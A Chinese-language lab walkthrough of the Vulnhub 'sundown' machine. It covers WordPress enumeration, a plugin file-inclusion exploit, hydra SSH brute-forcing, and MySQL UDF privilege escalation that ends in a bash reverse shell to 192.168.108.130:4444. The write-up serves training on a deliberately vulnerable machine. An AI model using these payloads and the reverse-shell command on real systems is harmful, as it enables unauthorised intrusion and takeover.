Vulnhub-sundown

总结:该靶机是一个wordpress 管理系统,需要信息收集得到插件信息 ,然后搜索插件漏洞 ,得到一个文件包含exp ,利用其得到一个普通用户,利用hydra爆破 密码然后ssh连接,信息收集得到一个数据库配置信息,普通命令无法查看,需要利用文件包含查看,最后利用账号密码登录mysql ,然后利用UDF提权 拿到root权限

一、靶机搭建

选择打开选项

选中下载的ova文件,然后导入选择一个存放路径即可

二、信息收集

官方信息

php 复制代码
Name: sunset: sundown
Date release: 4 Aug 2020
难度:初级/中级

扫ip

靶机ip:192.168.108.155

扫开放端口和服务信息

开启了22和80端口

指纹探测

执行以下命令

php 复制代码
nmap 192.168.108.155 -p 22,80 -sV -sC -O --version-all 

拿到了一些服务信息

目录扫描

dirsearch 扫描,可以得到很多目录,dirb扫描结果也是一样

收集一下可用信息:

php 复制代码
http://192.168.108.155/robots.txt
http://192.168.108.155/wp-config.php
http://192.168.108.155/wp-admin
http://192.168.108.155/wp-content/uploads/ 
http://192.168.108.155/wp-includes/ 
http://192.168.108.155/wp-cron.php 
http://192.168.108.155/wp-login.php 

三、Web渗透

信息收集

打开网页,有一个搜索框,但是没有什么用,

看看网站指纹信息,发现WordPress 5.4.2

访问robots.txt,发现两个目录

看到这里想起来之前刷的DC-6 靶机,也是这个框架,账户位admin

看看另一个目录,没有什么信息

访问之前扫描出来的文件上传,可能存在文件上传漏洞

访问includes文件有很多文件,但是都无法打开

看看cron文件

搜索历史漏洞

输入admin看看,账户正确,但是密码不对

框架插件漏洞利用

利用wpscan爆破,但是时间太久了,放弃

php 复制代码
wpscan --url http://192.168.108.155 --usernames admin -P /usr/share/wordlists/rockyou.txt

看看插件信息,这里提醒一下,靶机遇到wordpress框架的,可以先查看框架的插件信息,多数存在漏洞

php 复制代码
wpscan --url http://192.168.108.155 --enumerate p,t

拿到插件信息

搜索历史漏洞,下载下来

查看该文件得到以下信息,是文件包含漏洞

php 复制代码
/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/passwd
/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=http(s)://domain/exec  

漏洞代码

php 复制代码
if(isset($_GET['url'])){
$content=file_get_contents($_GET['url']);  #这就很明显是文件包含了

利用代码访问,发现一个有bash权限的carlos用户

利用hydra爆破密码,密码就是用户名

php 复制代码
hydra -l carlos -P /usr/share/wordlists/rockyou.txt ssh://192.168.108.155

ssh连接,成功登录

四、提权

信息收集

先找找可用信息

没啥用的密文

进入**/home**目录看看

进入网站源码存放目录查看,因为这是一个框架程序,所以其源码 一般在网站源码下,发现配置文件信息

利用命令查看,发现权限不足,看来行不通了

想到之前的文件包含漏洞,利用该路径访问试试

php 复制代码
http://192.168.108.155//wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//var/www/html/wordpress/wp-config.php

成功访问,但是代码太乱了,打开源码查看,发现数据库账号密码

账户:root 密码:VjFSQ2IyRnNUak5pZWpCTENnPT0K

php 复制代码
mysql -u root -p

成功登录

查看数据库,但是没有什么可用信息,应该需要使用UDF提权,mysql特有的一种提权方式

UDF提权

先看看版本是64位还是32位,这决定你使用的udf文件带64还是不带64

是64位后再查看secure_file_priv 是否为空,因为这决定了mysql会不会对导入导出做限制

php 复制代码
show global variables like 'secure%';

没有回显

看看具体信息,可以提权

  • secure_file_priv 的值为 NULL ,表示不允许导入导出,无法提权

  • secure_file_priv 的值为 /tmp/ ,表示导入导出只能在 /tmp/ 目录下,无法提权

  • secure_file_priv 的值为空,表示不对导入导出做限制,此时可提权

​ 若mysql版本**>=5.1** 时,上传udf 位置需要在mysql\lib\plugin 里,通过show variables like "%plugin%" 来查看(若没有则新建一个),小于的话则不需要,可以看到是大于5.1

查看路径

php 复制代码
show variables like '%plugin%';
路径:/usr/lib/x86_64-linux-gnu/mariadb19/plugin/

​ 得知以上的利用信息都允许情况下,就开始提权操作了,kali到/usr/share/metasploit-framework/data/exploits/mysql 这个目录中复制64位的udf 文件到本地(若是windows则用.dll 文件,linux就用.so文件,根据是32位还是64位来选取不同文件)

开启web服务传输文件

成功上传

返回靶机,进入**/tmp**目录下

然后回到数据库执行下面的命令,看看mysql数据库下的数据表信息

执行下面的命令

php 复制代码
create table shell(line blob);    # 需要为blob,因为是二进制对象存储容器,存储下面load_file的返回值
insert into shell values(load_file('/tmp/lib_mysqludf_sys_64.so'));    # 插入并存储load_file的返回值

写入文件并创建函数,以此来反弹shell(这里的bash一定要加-c参数,否则只有bash -i会报错)

php 复制代码
select * from shell into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys_64.so';    # 将/tmp/udf文件写入到plugin里
create function sys_exec returns integer soname 'lib_mysqludf_sys_64.so';    # 创建函数于udf文件中加载
select sys_exec('bash -c "bash -i >& /dev/tcp/192.168.108.130/4444 0>&1"');    # 调用函数执行反弹shell

开启监听端口并执行,成功反弹shell

flag

sundown用户 目录下发现flag

值:510252fabb4b7e7dddd7373b7b3da3e8

相关推荐
A5rZ3 小时前
js原型污染 + xss劫持base -- no-code b01lersctf 2025
网络安全
Johny_Zhao8 小时前
堆叠、MLAG、VPC、VSS 技术对比及架构建议
linux·网络·人工智能·python·网络安全·ai·信息安全·云计算·cisco·等保测评·huawei·系统运维
wzx_Eleven13 小时前
【论文阅读】基于客户端数据子空间主角度的聚类联邦学习分布相似性高效识别
论文阅读·人工智能·机器学习·网络安全·聚类
泪不是Web妳而流16 小时前
【CTFSHOW_Web入门】命令执行
web安全·网络安全·php·linux命令·rce·命令执行·ctfshow命令执行wp题解
RLG_星辰21 小时前
第六章-哥斯拉4.0流量分析与CVE-2017-12615的复现
笔记·安全·网络安全·tomcat·应急响应·玄机
独行soc1 天前
2025年渗透测试面试题总结-某服面试经验分享(附回答)(题目+回答)
linux·运维·服务器·网络安全·面试·职场和发展·渗透测试
2501_916013741 天前
从一次被抄袭经历谈起:iOS App 安全保护实战
websocket·网络协议·tcp/ip·http·网络安全·https·udp
请再坚持一下1 天前
网络安全护网行动之个人见解
安全·web安全·网络安全
00后程序员张1 天前
做 iOS 调试时,我尝试了 5 款抓包工具
websocket·网络协议·tcp/ip·http·网络安全·https·udp
芯盾时代1 天前
RSAC 2025观察:零信任+AI=网络安全新范式
人工智能·安全·web安全·网络安全